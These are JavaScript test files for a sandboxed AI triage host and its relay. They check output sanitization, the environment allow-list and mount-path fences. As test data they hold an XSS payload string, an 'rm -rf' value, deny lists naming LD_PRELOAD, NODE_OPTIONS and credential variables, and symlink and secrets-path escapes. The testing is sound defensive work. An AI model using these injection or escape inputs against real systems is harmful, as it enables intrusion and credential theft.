const host = fakeHost({ running: true, transcript, snapshot, lastExit: { code: v('code'), signal: v('sig'), at: v('lat') }, overCapUntil: v('until') });
const f = await setup(t, { host });
await open(f);
await f.wait('document.querySelector("#triage-transcript > li")');
const out = await f.b.evaluate(`(() => {
const d = document.querySelector('#triage-drawer');
return {
pwned: window.__pwned ?? null,
tags: [...d.querySelectorAll('img, a, b, script, iframe, svg image, [onerror], [href]')].map(e => e.outerHTML),
text: d.textContent,
body: document.body.querySelectorAll('img[src="x"], a[href^="https://example.test"]').length,
};
})()`);
assert.equal(out.pwned, null);
assert.deepEqual(out.tags, []);
assert.equal(out.body, 0);
for (const word of ['owner text', 'triage text', 'host text', 'cmd', 'corg', 'step', 'org', 'oc', 'code', 'active']) assert.ok(out.text.includes(word), `${word} shown as text`);
assert.ok(out.text.includes('<img src=x onerror='), 'the markup reads as its own characters');
// eslint-disable-next-line no-control-regex
assert.doesNotMatch(out.text, /[\u0000-\u0008\u000b-\u001f\u007f-\u009f\u061c\u180e\u2028\u2029\ufeff\u200b-\u200f\u202a-\u202e\u2066-\u2069\u00ad\u2060-\u2064\u034f\ufe00-\ufe0f\u{E0000}-\u{E007F}\u{E0100}-\u{E01EF}\p{Default_Ignorable_Code_Point}]/u, 'no control, direction, invisible or tag characters reach the page');
await sleep(500);
assert.equal(await f.b.evaluate('window.__pwned ?? null'), null);
});
// #1873 triage-followups: the page focuses its heading when its first render ends. A reader who opened
// the drawer before then keeps focus in the drawer. The page holds GET /api/workspace, which the first
// render waits on, until the drawer has opened and taken focus.
const HOLD_WORKSPACE = `(() => { const f = window.fetch; window.__held = 0; window.fetch = (u, o) => { if (String(u?.url ?? u).includes('/api/workspace') && !window.__go) { window.__held += 1; return new Promise(r => { const t = setInterval(() => { if (window.__go) { clearInterval(t); r(f(u, o)); } }, 20); }); } return f(u, o); }; })()`;
test('triage-followups: a drawer opened before the first render ends keeps focus when the render ends', async t => {
const f = await setup(t, { init: HOLD_WORKSPACE });
await f.wait('document.querySelector("#triage-open") && window.__held > 0');
const heading = () => f.b.evaluate('document.querySelector("#bus-view h1")?.textContent ?? null');
await sleep(300);
assert.equal(await heading(), 'Reading…', 'the first render has not ended');
await f.click('#triage-open');
await f.wait('document.querySelector("#triage-drawer")?.contains(document.activeElement)');
await f.b.evaluate('window.__go = true');
await f.wait('document.querySelector("#bus-view h1")?.textContent === "Dashboard"');
await sleep(400);
assert.equal(await f.b.evaluate('document.querySelector("#triage-drawer").contains(document.activeElement)'), true, `focus stays in the drawer, not on ${await f.b.evaluate('document.activeElement?.tagName')}`);
// Escape still closes it and puts focus back on the entry.
await f.b.call('Input.dispatchKeyEvent', { type: 'keyDown', key: 'Escape', code: 'Escape', windowsVirtualKeyCode: 27 });
await f.wait('document.querySelector("#triage-drawer").hidden');
assert.equal(await f.b.evaluate('document.activeElement?.id'), 'triage-open');
});
test('triage-followups: with no drawer open the first render still focuses the heading', async t => {
const f = await setup(t);
await f.wait('document.activeElement?.tagName === "H1"');
});
+657
View File
@@ -0,0 +1,657 @@
// #1873 triage-host: the Triage session's host and its relay. The relay answers only a message to
// the person; the session sees its own run directory and the health snapshots and nothing else of
// the data root; its environment is a fixed list; nothing launches without a model route or over
// the cap. The session runs the stub adapter (tests/fixtures/triage-adapter.mjs); no model is called.
import { test } from "node:test";
import assert from "node:assert/strict";
import { connect } from "node:net";
import { existsSync, lstatSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, rmSync, symlinkSync, writeFileSync } from "node:fs";
import { dirname, join } from "node:path";
import { Client } from "../../bus/src/client.mjs";
import { REPO, RUNNER_FILES, checkHostedRoute, sandboxProblem } from "../../seat/src/sandbox.mjs";
import { isProviderVariable } from "../../seat/src/session.mjs";
import {
NOT_STARTED, NOT_TAKEN, RELAY_REFUSED, ROUTE_ENV_ALLOW, ROUTE_REFUSED, SPAWN_ENV_ALLOW, UNANSWERED, createRelay, createTriageHost, hostPrompt,
refusedHarnessName, triageEnv,
} from "../src/triage-host.mjs";
const FIXTURE = new URL("./fixtures/triage-adapter.mjs", import.meta.url).pathname;
const skip = sandboxProblem() ?? false;
const scratch = () => mkdtempSync(join(process.env.TMPDIR, "th-"));
const CAP = "a".repeat(64);
const SNAPSHOT = {
snapshotVersion: 1, at: "2026-11-16T12:00:00.000Z", console: { state: "answering", at: "2026-11-16T12:00:00.000Z" },
proxy: "not read", systemConfig: { valid: true, exit: 0, code: null },
organizations: { count: 1, list: [{ id: "alpha", bus: { state: "stopped", lastStart: null }, processing: "not read", config: { valid: true, exit: 0, code: null } }] },
};
// What the Console's own environment might hold: none of it but the allowed names may reach the session.
const CONSOLE_ENV = {
PATH: "/should/not/pass", LANG: "C.UTF-8", TZ: "UTC", HOME: "/home/someone", MOSAIC_CONFIG: "/x/config.json",
MOSAIC_BUS_CONSOLE_SOCKET: "/x/bus.sock", MOSAIC_GITEA_CREDENTIAL_FILE: "/x/cred", GITEA_TOKEN: "t", SSH_AUTH_SOCK: "/x/agent",
ANTHROPIC_API_KEY: "from-the-console", XDG_CONFIG_HOME: "/x", MOSAIC_DATA_ROOT: "/x",
};
const raw = (socket, line) => new Promise((resolve, reject) => {
const c = connect(socket);
let input = "";
c.on("connect", () => c.write(line + "\n"));
c.on("data", (b) => { input += b; });
c.on("end", () => resolve(JSON.parse(input)));
c.on("error", reject);
});
test("triageEnv keeps the fixed names and the route's proxy variables, and nothing else", () => {
const env = triageEnv(CONSOLE_ENV, { ANTHROPIC_BASE_URL: "http://127.0.0.1:1", ANTHROPIC_AUTH_TOKEN: "k", MOSAIC_CONFIG: "/y", OTHER: "z" }, { node: "/opt/node/bin/node" });
assert.deepEqual(Object.keys(env).sort(), ["ANTHROPIC_AUTH_TOKEN", "ANTHROPIC_BASE_URL", "LANG", "PATH", "TZ"]);
assert.equal(env.PATH, "/opt/node/bin:/usr/bin:/bin");
assert.deepEqual(SPAWN_ENV_ALLOW, ["PATH", "LANG", "LC_ALL", "TZ", "TERM"]);
assert.deepEqual(ROUTE_ENV_ALLOW, ["ANTHROPIC_BASE_URL", "ANTHROPIC_AUTH_TOKEN"]);
assert.equal(triageEnv(CONSOLE_ENV, { ANTHROPIC_API_KEY: "from-the-route" }).ANTHROPIC_API_KEY, undefined, "the session gets no key, only the proxy's token");
assert.equal(triageEnv(CONSOLE_ENV).ANTHROPIC_API_KEY, undefined, "a key in the Console's environment is not the route's");
});
test("the relay refuses every verb but a message to the person, and any call without the capability", async (t) => {
const dir = scratch();
const socket = join(dir, "relay.sock");
const sent = [];
const queue = [{ id: "owner-0123456789ab", from_role: "human", class: "REQUEST", body: "hello", at: "2026-11-16T12:00:00.000Z" }];
const read = [];
const server = await createRelay({ socket, cap: CAP, take: () => queue.splice(0), read: (id) => read.push(id), onSend: (m) => sent.push(m) });
t.after(() => server.close());
const client = new Client({ path: socket, cap: CAP });
assert.deepEqual(await client.call("role.claim"), { library: false });
assert.deepEqual(await client.call("processing.status"), { halted: false, invalid: false });
assert.deepEqual((await client.call("state")).tasks, { open: [], total: 0, cap: 0 });
assert.deepEqual(await client.call("message.receive"), [{ id: "owner-0123456789ab", from_role: "human", class: "REQUEST", body: "hello", at: "2026-11-16T12:00:00.000Z" }]);
assert.match((await client.call("message.send", { to: "human", body: "answer", class: "RESULT", in_reply_to: "owner-0123456789ab" })).id, /^triage-/);
await client.call("message.read", { id: "owner-0123456789ab" });
assert.deepEqual(sent, [{ body: "answer", in_reply_to: "owner-0123456789ab" }]);
assert.deepEqual(read, ["owner-0123456789ab"]);
// The model writes in_reply_to. Anything but an id the host issued is dropped, never stored.
for (const bad of ["<img src=x onerror=1>", "owner-1", "owner-0123456789ab\u202e", "owner-0123456789abc", "x".repeat(60000)]) {
sent.length = 0;
await client.call("message.send", { to: "human", body: "b", in_reply_to: bad });
assert.deepEqual(sent, [{ body: "b", in_reply_to: null }], bad.slice(0, 24));
}
const refused = [
["decision.raise", { kind: "hire", body: "x" }], ["event.emit", { kind: "action.allowed", body: {} }],
["message.send", { to: "chief", body: "x", class: "INFO" }], ["message.send", { to: "pm", body: "x" }],
["message.send", { to: "human" }], ["task.create", { title: "x" }], ["launch", { instance: "chief" }],
["plugin.tool", {}], ["toString", {}], ["__proto__", {}], ["constructor", {}],
];
for (const [verb, args] of refused) {
await assert.rejects(client.call(verb, args), (e) => e.code === RELAY_REFUSED, verb);
}
await assert.rejects(new Client({ path: socket, cap: "b".repeat(64) }).call("message.send", { to: "human", body: "x" }), (e) => e.code === RELAY_REFUSED);
await assert.rejects(new Client({ path: socket, human: "jason" }).call("message.receive"), (e) => e.code === RELAY_REFUSED);
assert.deepEqual(await raw(socket, "not json"), { ok: false, error: RELAY_REFUSED, reason: "the Triage host answers only a message to the person" });
assert.equal((await raw(socket, JSON.stringify({ cap: CAP.toUpperCase(), verb: "role.claim" }))).error, RELAY_REFUSED);
assert.equal(sent.length, 1, "no refused call reached the transcript");
assert.equal(lstatSync(socket).mode & 0o777, 0o600);
});
test("the prompt names the snapshot inside the session and the card form, after the role's contract", () => {
const text = hostPrompt("# Triage\n\nContract.\n", { snapshotPath: "/r/work/health/snapshot.json", steps: ["bus-start"] });
assert.match(text, /^# Triage\n\nContract\.\n\n## This host/);
assert.match(text, /\/r\/work\/health\/snapshot\.json/);
assert.match(text, /```cards\n\[\{"step": "bus-start", "org": "alpha"\}\]\n```/);
});
// Names the route may try in harnessEnv that the host refuses even when the module declares them.
const REFUSED_TRIED = [
"MOSAIC_POLICY_FILE", "MOSAIC_TOOLS_FILE", "MOSAIC_CONFIG", "MOSAIC_BUS_CONSOLE_SOCKET", "NODE_OPTIONS", "NODE_PATH", "LD_PRELOAD",
"LD_LIBRARY_PATH", "DYLD_INSERT_LIBRARIES", "PYTHONPATH", "PYTHONSTARTUP", "PATH", "HOME", "TMPDIR", "BASH_ENV", "ENV", "SSH_AUTH_SOCK",
"GITEA_TOKEN", "GH_TOKEN", "GIT_ASKPASS", "GIT_CONFIG_PARAMETERS", "VIKUNJA_TOKEN", "ANTHROPIC_BASE_URL", "ANTHROPIC_AUTH_TOKEN",
"ANTHROPIC_API_KEY", "CLAUDE_CODE_OAUTH_TOKEN", "OPENAI_API_KEY", "GLIBC_TUNABLES", "PI_CODING_AGENT_DIR", "XDG_CONFIG_HOME",
];
// The fake harness module: it declares the probe names and every refused one, so only the host's
// own refusal stops those. Its one install root is <root>/install.
const DECLARED = Object.freeze(["TRIAGE_PROBE", "FAKE_OK", "FAKE_TWO", ...REFUSED_TRIED]);
const fakeModule = (roots, names = DECLARED) => async (name) => name === "fake" ? { envNames: names, installRoots: () => roots } : null;
function host(t, root, opts = {}) {
const dataRoot = join(root, "data");
mkdirSync(join(root, "install"), { recursive: true });
if (!existsSync(join(root, "install", "adapter.sh"))) writeFileSync(join(root, "install", "adapter.sh"), "exit 0\n");
const h = createTriageHost({ dataRoot, readSnapshot: async () => SNAPSHOT, env: CONSOLE_ENV, readOnly: [FIXTURE], pollInterval: 100, harnessModule: fakeModule([join(root, "install")]), ...opts });
t.after(() => h.stop());
return { h, dataRoot };
}
// A launcher that only leaves a mark: a spawn is proved by the mark, no spawn by its absence.
function spy(root) {
const f = join(root, "spy");
writeFileSync(f, `#!/bin/sh\n: > '${join(root, "spawned")}'\nexit 0\n`, { mode: 0o755 });
return f;
}
const answer = (root, over = {}) => ({
ok: true, adapter: join(root, "install", "adapter.sh"), harness: "fake", harnessEnv: {}, harnessMounts: [], turnEnd: "exit",
model: "m", provider: "p", env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9" }, ...over,
});
// One route answer through a fresh host: refused before anything is written or spawned, with the
// one code, the owner-readable line, and a log line that names the fence.
async function refusedRoute(t, label, make, opts = {}) {
const root = scratch();
mkdirSync(join(root, "install"), { recursive: true });
const logs = [];
const over = await make(root);
const route = { admit: async () => (typeof over === "function" ? over() : answer(root, over)) };
const { h, dataRoot } = host(t, root, { route, bwrap: spy(root), log: (l) => logs.push(l), ...(typeof opts === "function" ? opts(root) : opts) });
await assert.rejects(h.message("hello"), (e) => e.code === "triage-route-invalid" && e.message === "the model route's answer is not usable", label);
assert.equal(existsSync(join(root, "spawned")), false, `${label}: nothing spawned`);
assert.equal(h.running, false, label);
assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false, `${label}: no bundle`);
const [owner, note, ...rest] = (await h.state()).transcript;
assert.deepEqual([owner.from, note.from, note.in_reply_to, note.text, rest.length], ["owner", "host", owner.id, ROUTE_REFUSED, 0], label);
assert.ok(logs.some((l) => /^triage host: route refused: [a-z-]+$/.test(l)), `${label}: ${logs.join(" | ")}`);
return logs;
}
// One route answer through a fresh host that must reach the launcher; the session.json it wrote.
async function admittedRoute(t, label, make, opts = {}) {
const root = scratch();
mkdirSync(join(root, "install"), { recursive: true });
const over = await make(root);
const route = { admit: async () => (typeof over === "function" ? over() : answer(root, over)) };
const { h, dataRoot } = host(t, root, { route, bwrap: spy(root), ...(typeof opts === "function" ? opts(root) : opts) });
await h.message("hello");
await waitFor(() => existsSync(join(root, "spawned")));
return JSON.parse(readFileSync(join(dataRoot, "triage", "agent", "session.json"), "utf8"));
}
test("no model route: nothing launches, the message is refused, and the state says the route is not set", async (t) => {
const { h, dataRoot } = host(t, scratch());
assert.equal((await h.state()).route, "not set");
await assert.rejects(h.message("hello"), (e) => e.code === "triage-no-route" && /no model route is set/.test(e.message));
assert.equal(h.running, false);
assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false);
assert.deepEqual((await h.state()).transcript, []);
});
test("over the cap: the message is refused until the next day and nothing launches", async (t) => {
let clock = Date.parse("2026-11-16T15:00:00.000Z"), asked = 0, answer = { ok: false, code: "triage-over-cap", until: "2026-11-17T00:00:00.000Z" };
const route = { admit: async () => { asked++; return answer; } };
const { h, dataRoot } = host(t, scratch(), { route, now: () => new Date(clock) });
assert.equal((await h.state()).route, "set");
assert.equal((await h.state()).overCapUntil, null);
await assert.rejects(h.message("hello"), (e) => e.code === "triage-over-cap" && e.until === "2026-11-17T00:00:00.000Z");
assert.equal(h.running, false);
assert.equal(existsSync(join(dataRoot, "triage", "agent", "session.json")), false);
assert.equal((await h.state()).overCapUntil, "2026-11-17T00:00:00.000Z");
// Held: a later route answer cannot reopen the day; the route is not asked again before the time.
answer = { ok: false, code: "triage-no-route" };
clock = Date.parse("2026-11-16T23:59:59.000Z");
await assert.rejects(h.message("hello"), (e) => e.code === "triage-over-cap" && e.until === "2026-11-17T00:00:00.000Z");
assert.equal(asked, 1);
// At the time, the hold ends and the route is asked again.
clock = Date.parse("2026-11-17T00:00:00.000Z");
assert.equal((await h.state()).overCapUntil, null);
await assert.rejects(h.message("hello"), (e) => e.code === "triage-no-route");
assert.equal(asked, 2);
assert.deepEqual((await h.state()).transcript, [], "a refused message is never written");
// An over-cap answer whose time is not usable (past, too far, not an ISO time) refuses without a hold.
for (const until of ["2026-11-17T00:00:00.000Z", "2026-11-20T00:00:00.000Z", "Tue, 17 Nov 2026 12:00:00 GMT", "tomorrow", 5]) {
let n = 0;
const r = { admit: async () => { n++; return { ok: false, code: "triage-over-cap", until }; } };
const later = host(t, scratch(), { route: r, now: () => new Date("2026-11-17T01:00:00.000Z") }).h;
await assert.rejects(later.message("a"), (e) => e.code === "triage-over-cap" && e.until === undefined, String(until));
await assert.rejects(later.message("b"), (e) => e.code === "triage-over-cap");
assert.equal(n, 2, `${until}: not held`);
assert.equal((await later.state()).overCapUntil, null);
}
const odd = { admit: async () => ({ ok: false, code: "rm -rf", until: 5 }) };
const other = host(t, scratch(), { route: odd }).h;
await assert.rejects(other.message("hello"), (e) => e.code === "triage-route-refused" && e.until === undefined);
});
// #1873 triage-fences, design section 4. Every refused answer reaches no spawn (the spy launcher
// leaves no mark), writes no bundle, answers triage-route-invalid and leaves ROUTE_REFUSED under
// the owner's line.
test("fence 1: a harnessEnv name the host refuses is refused even when the harness module declares it", async (t) => {
for (const name of REFUSED_TRIED) {
assert.ok(DECLARED.includes(name));
await refusedRoute(t, name, () => ({ harnessEnv: { [name]: "x" } }));
assert.equal(refusedHarnessName(name), true, name);
}
// Names that are not one plain upper-case name: lower or mixed case, an equals sign, a NUL.
for (const name of ["lower", "Mosaic_policy_file", "mosaic_policy_file", "FAKE_OK=x", "A=B", "FAKE_OK\0", " FAKE_OK", "fake_ok"]) {
await refusedRoute(t, JSON.stringify(name), () => ({ harnessEnv: { [name]: "x" } }), (root) => ({ harnessModule: fakeModule([join(root, "install")], [...DECLARED, name]) }));
}
for (const name of [
"GIT_DIR", "BASH_FUNC_x%%", "LD_AUDIT", "SHELLOPTS", "PS4", "IFS", "HTTPS_PROXY", "NODE_EXTRA_CA_CERTS", "PYTHONHOME", "MOSAIC_X", "GCONV_PATH",
"LOCPATH", "MALLOC_CHECK_", "OPENSSL_CONF", "SSL_CERT_FILE", "ZDOTDIR", "PROMPT_COMMAND", "JAVA_TOOL_OPTIONS", "_JAVA_OPTIONS", "NPM_CONFIG_PREFIX",
"CLAUDE_CONFIG_DIR", "XDG_DATA_HOME", "ANY_CONF", "ANY_CONFIG", "PERLLIB", "LESSOPEN", "LESSCLOSE", "HOSTALIASES",
"SSH_ASKPASS", "SUDO_ASKPASS", "CURL_CA_BUNDLE", "REQUESTS_CA_BUNDLE", "OPENAI_BASE_URL", "ANY_BASE_URL",
]) assert.equal(refusedHarnessName(name), true, name);
for (const name of ["FAKE_OK", "PI_MODEL", "TRIAGE_PROBE"]) assert.equal(refusedHarnessName(name), false, name);
});
test("fence 1: values are strings of at most 4096 characters with no control character or line separator, and at most 64 names", async (t) => {
for (const [label, v] of [
["newline", "x\ny"], ["nul", "x\0"], ["cr", "x\ry"], ["tab", "x\ty"], ["escape", "x\u001by"], ["del", "x\u007f"], ["c1 next line", "x\u0085y"],
["line separator", "x\u2028y"], ["paragraph separator", "x\u2029y"], ["4097", "a".repeat(4097)], ["number", 5], ["null", null], ["object", {}], ["array", ["x"]],
]) {
await refusedRoute(t, label, () => ({ harnessEnv: { FAKE_OK: v } }));
}
const many = Object.fromEntries(Array.from({ length: 65 }, (_, i) => [`FAKE_N${i}`, "x"]));
await refusedRoute(t, "65 names", () => ({ harnessEnv: many }), (root) => ({ harnessModule: fakeModule([join(root, "install")], Object.keys(many)) }));
await admittedRoute(t, "64 names", () => ({ harnessEnv: Object.fromEntries(Object.entries(many).slice(0, 64)) }), (root) => ({ harnessModule: fakeModule([join(root, "install")], Object.keys(many)) }));
await refusedRoute(t, "array harnessEnv", () => ({ harnessEnv: ["FAKE_OK"] }));
await refusedRoute(t, "no harnessEnv", () => ({ harnessEnv: undefined }));
const s = await admittedRoute(t, "4096", () => ({ harnessEnv: { FAKE_OK: "a".repeat(4096), FAKE_TWO: "" } }));
assert.deepEqual(Object.keys(s.harnessEnv), ["FAKE_OK", "FAKE_TWO"]);
});
test("fence 1: a name the harness module does not declare is refused; a declared one reaches the session's bundle", async (t) => {
await refusedRoute(t, "undeclared", () => ({ harnessEnv: { FAKE_UNDECLARED: "x" } }));
await refusedRoute(t, "no such module", () => ({ harness: "nope" }));
await refusedRoute(t, "module without envNames", () => ({}), (root) => ({ harnessModule: async () => ({ installRoots: () => [join(root, "install")] }) }));
await refusedRoute(t, "module without installRoots", () => ({}), { harnessModule: async () => ({ envNames: DECLARED }) });
await refusedRoute(t, "module that throws", () => ({}), { harnessModule: async () => { throw new Error("x"); } });
await refusedRoute(t, "installRoots that throws", () => ({}), { harnessModule: async () => ({ envNames: DECLARED, installRoots: () => { throw new Error("x"); } }) });
const s = await admittedRoute(t, "declared", () => ({ harnessEnv: { FAKE_OK: "yes" } }));
assert.deepEqual(s.harnessEnv, { FAKE_OK: "yes" });
});
test("fence 1: the bundle holds the copy the host checked; no MOSAIC_ name reaches session.json, even from a getter", async (t) => {
let reads = 0;
const s = await admittedRoute(t, "getter", (root) => () => {
const a = answer(root);
delete a.harnessEnv;
Object.defineProperty(a, "harnessEnv", { enumerable: true, get: () => (reads++ === 0 ? { FAKE_OK: "checked" } : { MOSAIC_POLICY_FILE: "/evil", FAKE_OK: "swapped" }) });
return a;
});
assert.equal(reads, 1, "the answer is read once");
assert.deepEqual(s.harnessEnv, { FAKE_OK: "checked" });
assert.ok(!Object.keys(s.harnessEnv).some((k) => k.startsWith("MOSAIC_")));
// An answer that cannot be copied (a function in it) is refused.
await refusedRoute(t, "function", (root) => ({ harnessEnv: { FAKE_OK: "x" }, extra: () => 1 }));
});
test("fence 2: route env holds only the proxy's two names, the base URL is http on 127.0.0.1 with a port, and the host's port and token shape hold when given", async (t) => {
const bad = [
undefined, "", "http://localhost:9", "http://[::1]:9", "https://127.0.0.1:9", "http://127.0.0.1", "http://127.0.0.1:", "http://127.0.0.1:9/",
"http://127.0.0.1:9/v1", "http://127.0.0.1:09", "http://127.0.0.1:0", "http://127.0.0.1:65536", "http://127.0.0.1:99999", "http://127.0.0.2:9",
"http://[email protected]:9", "HTTP://127.0.0.1:9", "http://127.0.0.1:9\n", "http://127.0.0.1:9 ", "http://127.1:9", "http://2130706433:9",
"http://127.0.0.1:9#x", "http://127.0.0.1:9?x", "http://10.0.0.1:9", 9,
];
for (const url of bad) await refusedRoute(t, `url ${JSON.stringify(url)}`, () => ({ env: url === undefined ? {} : { ANTHROPIC_BASE_URL: url } }));
for (const extra of ["OTHER", "MOSAIC_CONFIG", "ANTHROPIC_API_KEY", "PATH", "anthropic_base_url"]) {
await refusedRoute(t, `env ${extra}`, () => ({ env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9", [extra]: "x" } }));
}
for (const token of ["a\nb", "a\u2028b", "a\u0000b", "a\u007fb"]) await refusedRoute(t, `token ${JSON.stringify(token)}`, () => ({ env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9", ANTHROPIC_AUTH_TOKEN: token } }));
await refusedRoute(t, "env array", () => ({ env: ["ANTHROPIC_BASE_URL"] }));
await admittedRoute(t, "port 65535", () => ({ env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:65535" } }));
// The host's port.
await refusedRoute(t, "other port", () => ({ env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9" } }), { proxyPort: 9001 });
await admittedRoute(t, "its port", () => ({ env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9001" } }), { proxyPort: 9001 });
// The host's token shape: the whole token, never a part of it.
const tokenPattern = /mst-[0-9a-f]{8}/g;
for (const token of [undefined, "xmst-deadbeef", "mst-deadbeefx", "mst-DEADBEEF", "", "mst-deadbee"]) {
await refusedRoute(t, `token ${token}`, () => ({ env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9", ...(token === undefined ? {} : { ANTHROPIC_AUTH_TOKEN: token }) } }), { tokenPattern });
}
await admittedRoute(t, "token", () => ({ env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9", ANTHROPIC_AUTH_TOKEN: "mst-deadbeef" } }), { tokenPattern });
await admittedRoute(t, "token twice", () => ({ env: { ANTHROPIC_BASE_URL: "http://127.0.0.1:9", ANTHROPIC_AUTH_TOKEN: "mst-deadbeef" } }), { tokenPattern });
for (const p of [0, 65536, "9", 1.5]) assert.throws(() => createTriageHost({ dataRoot: "/x", proxyPort: p }), /proxyPort/);
assert.throws(() => createTriageHost({ dataRoot: "/x", tokenPattern: "mst-" }), /tokenPattern/);
});
test("fence 3: a mount source outside the install roots, through a link out of them, or in the data root, the config directory, HOME or a secrets path is refused", async (t) => {
const file = (p) => { mkdirSync(dirname(p), { recursive: true }); writeFileSync(p, "x"); return p; };
const mount = (src, extra = {}) => ({ harnessMounts: [{ src, why: "w", ...extra }] });
await refusedRoute(t, "outside", (root) => mount(file(join(root, "elsewhere", "f"))));
await refusedRoute(t, "link out", (root) => { file(join(root, "elsewhere", "f")); symlinkSync(join(root, "elsewhere", "f"), join(root, "install", "out")); return mount(join(root, "install", "out")); });
await refusedRoute(t, "dir link out", (root) => { file(join(root, "elsewhere", "f")); symlinkSync(join(root, "elsewhere"), join(root, "install", "d")); return mount(join(root, "install", "d", "f")); });
await refusedRoute(t, "dotdot", (root) => { file(join(root, "elsewhere", "f")); return mount(`${root}/install/../elsewhere/f`); });
await refusedRoute(t, "dotdot in root", (root) => { file(join(root, "install", "f")); return mount(`${root}/install/x/../f`); });
await refusedRoute(t, "trailing slash", (root) => { mkdirSync(join(root, "install", "d")); return mount(join(root, "install", "d") + "/"); });
await refusedRoute(t, "double slash", (root) => { file(join(root, "install", "f")); return mount(root + "//install/f"); });
await refusedRoute(t, "relative", () => mount("install/adapter.sh"));
await refusedRoute(t, "missing", (root) => mount(join(root, "install", "absent")));
await refusedRoute(t, "case", (root) => { file(join(root, "install", "f")); return mount(join(root, "INSTALL", "f")); });
// With the whole scratch root as the install root, only the protected-path fence stands.
const wide = (root) => ({ harnessModule: fakeModule([root]) });
await refusedRoute(t, "data root", (root) => mount(file(join(root, "data", "f"))), wide);
await refusedRoute(t, "parent of data root", (root) => { mkdirSync(join(root, "data"), { recursive: true }); return mount(join(root)); }, wide);
await refusedRoute(t, "alias of data root", (root) => { file(join(root, "data", "f")); symlinkSync(join(root, "data"), join(root, "alias")); return mount(join(root, "alias", "f")); }, wide);
await refusedRoute(t, "config dir", (root) => mount(file(join(root, "cfg", "f"))), (root) => ({ ...wide(root), env: { ...CONSOLE_ENV, MOSAIC_CONFIG: join(root, "cfg", "config.json") } }));
await refusedRoute(t, "home", (root) => mount(file(join(root, "h", "f"))), (root) => ({ ...wide(root), home: join(root, "h") }));
await refusedRoute(t, "parent of home", (root) => { file(join(root, "p", "h", "f")); return mount(join(root, "p")); }, (root) => ({ ...wide(root), home: join(root, "p", "h") }));
for (const seg of ["secrets", "Secrets", "SECRET", "my-secret-store"]) {
await refusedRoute(t, seg, (root) => mount(file(join(root, "install", seg, "token"))));
}
await refusedRoute(t, "link into secrets", (root) => { file(join(root, "install", "secrets", "token")); symlinkSync(join(root, "install", "secrets", "token"), join(root, "install", "t")); return mount(join(root, "install", "t")); });
await refusedRoute(t, "9 mounts", (root) => ({ harnessMounts: Array.from({ length: 9 }, (_, i) => ({ src: file(join(root, "install", `m${i}`)), dest: `/opt/m${i}`, why: "w" })) }));
await refusedRoute(t, "mounts not a list", (root) => ({ harnessMounts: { src: file(join(root, "install", "f")) } }));
await refusedRoute(t, "extra key", (root) => mount(file(join(root, "install", "f")), { mode: "rw" }));
await refusedRoute(t, "no why", (root) => ({ harnessMounts: [{ src: file(join(root, "install", "f")) }] }));
await refusedRoute(t, "string mount", (root) => ({ harnessMounts: [file(join(root, "install", "f"))] }));
await refusedRoute(t, "install root is /", () => ({}), { harnessModule: fakeModule(["/"]) });
await refusedRoute(t, "install root not a list", (root) => ({}), (root) => ({ harnessModule: fakeModule(join(root, "install")) }));
await refusedRoute(t, "no install roots", () => ({}), { harnessModule: fakeModule([]) });
await admittedRoute(t, "8 mounts", (root) => ({ harnessMounts: Array.from({ length: 8 }, (_, i) => ({ src: file(join(root, "install", `m${i}`)), dest: `/opt/m${i}`, why: "w" })) }));
});
test("fence 3: a mount dest that is or holds /tmp, the run directory, the relay socket, the bundle, session.json, the health dest, a system bind or a runner file is refused", async (t) => {
const withDest = (dest) => (root) => {
writeFileSync(join(root, "install", "f"), "x");
return { harnessMounts: [{ src: join(root, "install", "f"), dest: typeof dest === "function" ? dest(root) : dest, why: "w" }] };
};
const run = (root, ...p) => join(root, "data", "triage", "agent", ...p);
const dests = [
["/tmp", "/tmp"], ["under /tmp", "/tmp/x"], ["/tmp/", "/tmp/"], ["root", "/"], ["/usr/bin/sh", "/usr/bin/sh"], ["/usr", "/usr"], ["/etc", "/etc"],
["/etc/hosts", "/etc/hosts"], ["relative", "opt/x"], ["dotdot", "/opt/../tmp"], ["empty", ""], ["number", 5],
["run dir", (r) => run(r)], ["in run dir", (r) => run(r, "x")], ["relay", (r) => run(r, "relay.sock")], ["bundle", (r) => run(r, "bundle")],
["session.json", (r) => run(r, "session.json")], ["health dest", (r) => run(r, "work", "health")], ["parent of run dir", (r) => dirname(run(r))],
["parent of data root", (r) => r], ["runner file", RUNNER_FILES[0]], ["holds runner files", join(REPO, "packages")], ["repo", REPO],
["node", process.execPath], ["holds node", dirname(process.execPath)], ["adapter", (r) => join(r, "install", "adapter.sh")],
["holds adapter", (r) => join(r, "install")],
];
for (const [label, dest] of dests) await refusedRoute(t, `dest ${label}`, withDest(dest));
await refusedRoute(t, "same dest twice", (root) => {
writeFileSync(join(root, "install", "f"), "x");
writeFileSync(join(root, "install", "g"), "x");
return { harnessMounts: [{ src: join(root, "install", "f"), dest: "/opt/x", why: "w" }, { src: join(root, "install", "g"), dest: "/opt/x", why: "w" }] };
});
for (const [label, a, b] of [["nested dest", "/opt/x", "/opt/x/f"], ["parent dest", "/opt/x/f", "/opt/x"]]) {
await refusedRoute(t, label, (root) => {
writeFileSync(join(root, "install", "f"), "x");
writeFileSync(join(root, "install", "g"), "x");
return { harnessMounts: [{ src: join(root, "install", "f"), dest: a, why: "w" }, { src: join(root, "install", "g"), dest: b, why: "w" }] };
});
}
await admittedRoute(t, "dest /opt/x", withDest("/opt/x"));
});
test("fence 3: the adapter takes the same checks: inside an install root, a file, not through a link out, not in a protected path", async (t) => {
await refusedRoute(t, "outside", (root) => { writeFileSync(join(root, "a.sh"), "exit 0\n"); return { adapter: join(root, "a.sh") }; });
await refusedRoute(t, "link out", (root) => { writeFileSync(join(root, "a.sh"), "exit 0\n"); symlinkSync(join(root, "a.sh"), join(root, "install", "a.sh")); return { adapter: join(root, "install", "a.sh") }; });
await refusedRoute(t, "directory", (root) => { mkdirSync(join(root, "install", "d")); return { adapter: join(root, "install", "d") }; });
await refusedRoute(t, "relative", () => ({ adapter: "install/adapter.sh" }));
